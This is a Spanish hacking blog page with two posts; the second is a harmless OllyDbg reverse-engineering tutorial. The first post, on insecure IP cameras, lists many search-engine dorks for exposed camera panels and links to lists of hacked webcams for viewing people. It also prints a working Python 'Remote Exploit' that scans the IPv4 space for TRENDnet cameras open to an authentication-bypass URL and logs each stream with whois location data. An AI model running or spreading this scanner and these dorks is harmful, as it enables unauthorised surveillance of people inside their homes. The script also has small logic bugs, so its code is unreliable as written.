miércoles, 10 de abril de 2013

Cámaras IP - Un Gran Hermano de bajo presupuesto.



Hace poco me empecé a interesar por el tema de las cámaras IP. Parece un tema bastante abandonado y que puede suponer un problema serio de seguridad.

Así os extrañe la hostia, hay gente que pone una cámara en lo más íntimo de su casa y no se preocupa lo mas mínimo por la seguridad del aparato.

Cuando se instala una cámara IP, una de las ventajas que tiene, es que puede configurarse para ser accesible desde internet:


De esta manera, puedes estar de vacaciones o lejos del lugar donde hayas colocado la cámara y sentirte tranquilo de poder vigilarla en tiempo real en cualquier momento.

Pero esta ventaja puede suponer un problema de seguridad brutal. Muchos aparatos de este tipo usan tecnologías y paneles de administración anticuados a más no poder. Y no sólo eso, la mayoría de estos cacharros no se actualizan desde que se realiza la instalación.

Obviamente, le faltó tiempo a Google y otros buscadores para indexar todos estos aparatos XDD
En consecuencua empezaron a aparecer los primeros Dorks para localizarlos:


inurl:”CgiStart?page=”
inurl:/view.shtml
intitle:”Live View / – AXIS
inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera” (disconnected)
intitle:axis intitle:”video server”inurl:”CgiStart?page=”
inurl:/view.shtml
intitle:”Live View / – AXIS
inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera” (disconnected)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / – AXIS”
intitle:”Live View / – AXIS 206M”
intitle:”Live View / – AXIS 206W”
intitle:”Live View / – AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image” (disconnected)
intitle:”i-Catcher Console – Web Monitor”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / – AXIS”
intitle:”Live View / – AXIS 206M”
intitle:”Live View / – AXIS 206W”
intitle:”Live View / – AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image” (disconnected)
intitle:”i-Catcher Console – Web Monitor”


Y es que hay muchos aparatos que como véis, no hace falta ni hackearlos. Están públicos directamente o son vulnerables a una "magic URL". De risa }:-)

En pastebin y foros de hacking, entre otros sitios, existen listas de cámaras web hackeadas donde puedes pasar el rato observando a gente que se pasa el día en Gran Hermano: 
http://pastebin.com/DtCL8Nvm

http://cryptogasm.com/webcams/index.php?page=1

No es difícil fabricar tu propia lista de cámaras IP hackeadas, de hecho, se tarda cinco minutos en escribir un script que busque cámaras IP vulnerables por internet:


# Exploit Title: TRENDNet IP Cam Magic URL Searcher.
 # Date: [10/04/2013]
 # Author: [SnakingMax]
 # Website: http://snakingmax.blogspot.com/
# Category: [Remote Exploit]
 
 
# Vulnerability description:
# Bypass the TRENDNet IP Cam authentication protection by ussing a magic url ^.^
#
# Software Description:
# This software scans Internet to find TRENDNet IP vulnerable cams.

from struct import *
from socket import *
from http.client import HTTPConnection
import urllib.request
import subprocess


def isPublicIP(ip):
 #This method responses True if is a public IP or False in otherwise.
 f = unpack('!I',inet_pton(AF_INET,ip))[0]
 private = (["127.0.0.0","255.0.0.0"],["192.168.0.0","255.255.0.0"],["172.16.0.0","255.240.0.0"],["10.0.0.0","255.0.0.0"])

 for net in private:
  mask = unpack('!I',inet_aton(net[1]))[0]
  p = unpack('!I',inet_aton(net[0]))[0]
  if (f & mask) == p:
   return False
  return True
 

def isPublicWebcam(ip):
 #This method responses True if the IP is a webcam or False in otherwise.
 try:
  conn = HTTPConnection(ip, 80, timeout=5)
  conn.request('GET', "/anony/mjpg.cgi")
  response = conn.getresponse()
  if (response.info()["content-type"] == 'multipart/x-mixed-replace;boundary=myboundary'):
   response.close()
   conn.close()
   return True
  response.close()
  conn.close()
  return False
 except Exception as E:
  return False
  response.close()
  conn.close()


def addThisCamToMyList(camIP):
 #This method save data into a file called CamList.txt
 camlist = open("CamList.txt", "at")
 camlist.write("------------------------WEBCAM------------------------\n")

 #Saving URL.
 camlist.write("    URL: http://"+camIP+"/anony/mjpg.cgi\n")
 
 #Getting and writting whois Information about the cam ip.
 whoisInfo = subprocess.check_output(["whois", camIP])
 whoisList = str(whoisInfo).split("\\n")
 #Getting and writting address information.
 for i in whoisList:
  if (i.count("address")>0):
   camlist.write("    ADDRESS:\n")
   camlist.write(i[8:]+"\n")
 #Getting and writting country Information.
 for i in whoisList:
  if (i.count("country")>0):
   camlist.write("    COUNTRY:\n")
   print(i[:8]+"\n")
   break
 camlist.write("------------------------------------------------------\n")
 camlist.close()



if ( (__name__)=="__main__" ):
 #Generating IP address.
 for a in reversed(range(256)):
  for b in reversed(range(256)):
   for c in reversed(range(256)):
    for d in range(1,255):
     generatedIP = str(a)+"."+str(b)+"."+str(c)+"."+str(d)
     #Check if generated IP is public.
     if(isPublicIP(generatedIP)):
      print("Testing IP: "+generatedIP)
      #Check if the IP is a webcam.
      if (isPublicWebcam(generatedIP)):
       print(generatedIP + " is a webcam ;-)")
       #Saving data about the camera into a file.
       addThisCamToMyList(generatedIP)


Siempre se debería pensar bien el lugar donde se coloca una cámara o un micrófono ya sea del PC, del teléfono o de seguridad. Tapar la cámara o apagarla físicamente cuando no sea necesaria... Etc.

martes, 9 de abril de 2013

Ingeniería Inversa para personalizar tus herramientas (Olly Debugger)



En la entrada de hoy voy a mostraros el pequeño tuneo-destrozo que le estoy haciendo al Olly Debugger para añadir nuevas funcionalidades al menú que ya tiene.

Siempre me gusta proponerme miniaplicaciones y miniproyectitos para aprender pero, además de porque aprendo, me gustaría mostrar en esta entrada una de las muchas utilidades del reversing fuera del malware, los cracks... Etc.

Como podéis ver en la primera imagen, he traducido las opciones del menú de Olly al castellano utilizando la aplicación "Resource Hacker".

Además de traducir las opciones, he añadido la opción "Extras". En la siguiente imagen podéis ver cómo lo he hecho utilizando de nuevo el "Resource Hacker":


Si os fijáis bien, al lado de la cadena de texto que identifica cada opción Extra, se ha colocado un número identificador (ID) separado por una coma de la cadena a la que se refiere.

Estas opciones no tienen ningún código o funcionalidad asociada en un principio... Simplemente hemos solucionado el tema de diseño. Por lo tanto vamos a buscar un sitio dentro del ejecutable de Olly dónde injertar el código que se ejecutará al hacer click en las mismas ;-)

Abrimos el Olly Debugger que vamos a modificar, como nó, con Olly Debugger XD y buscamos la rutina Switch-Case encargada de ejecutar la acción asociada al evento click de las opciones del menú de Olly.

Como vemos, los casos del switch, se refieren a los ID's de las opciones del menú que hemos visto en el "Resource Hacker". (Solo que esta vez están en hexadecimal):




Si os fijáis bien, he colocado el breakpoint justo después del caso por defecto porque... Si no se ha seleccionado ninguna de las opciones originales del menú de Olly se llegará a esa dirección de memoria.
Y se llega con el ID de la Opción que se ha clickeado en el menú de Olly almacenado en el registro EAX.
Redigimos el flujo del programa con un salto a un lugar donde haya Bytes nulos y en el cuál podamos codificar nuestro injerto (obviamente, la instrucción de salto donde está el breackpoint es una modificación que he hecho con esta finalidad) , donde daremos código a nuestras opciones Extra del menú :-)

Un buen sitio que he encontrado ha sido la dirección de memoria 004AF642 (justo después de la IAT) por eso he saltado allí. Aclarar que, a pesar de que en la imagen ya está mi código, antes había un montón de instrucciones "db 00".



El código injertado, el cuál empieza en la línea marcada con gris y que podéis observar en la imagen anterior, hace lo siguiente:
Ponemos el ID, que hasta el momento se encuentra en EAX, en el registro EDX.
¿Está en EDX el ID 0A29 == 2601 == "&Editar Recursos"?
En caso negativo saltamos a comprobar si es la próxima opción Extra, en este caso, 2602.
En caso afirmativo llamamos a la API de Windows: ShellExecuteA (Aprovechando que está ya en la IAT) para lanzar nuestro "rsh.exe" ("Resource Hacker").
Destacar que he pusheado como parámetro del argumento "Parameters" de la API ShellExecuteA, un puntero a la cadena que contiene la ruta del último binario reverseado por Olly Debugger.


Como se puede apreciar en la imagen, el último salto de las comprobaciones encadenadas nos lleva a la instrucción siguiente al "caso por defecto" donde saltábamos anteriormente a nuestro injerto de código.

Espero que os haya gustado la entrada a pesar de que tanto el código como la idea se pueden mejorar muchísimo.